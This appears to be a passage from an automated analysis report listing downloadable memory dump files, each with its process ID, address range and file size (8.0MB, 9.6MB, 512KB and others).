memory/2304-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-76-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/2304-77-0x0000000000850000-0x0000000000870000-memory.dmp

Filesize
128KB

Download
memory/2304-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2440-56-0x0000000000F50000-0x0000000000FD0000-memory.dmp

Filesize
512KB

Download
memory/2440-57-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-55-0x0000000000F50000-0x0000000000FD0000-memory.dmp

Filesize
512KB

Download
memory/2440-54-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-52-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-53-0x0000000000F50000-0x0000000000FD0000-memory.dmp

Filesize
512KB

Download
memory/2644-20-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2644-25-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2644-19-0x000000001B120000-0x000000001B402000-memory.dmp

Filesize
2.9MB

Download
memory/2644-23-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2644-22-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2644-21-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2644-24-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2644-26-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-40-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-34-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-36-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-39-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2688-38-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2688-37-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2688-35-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download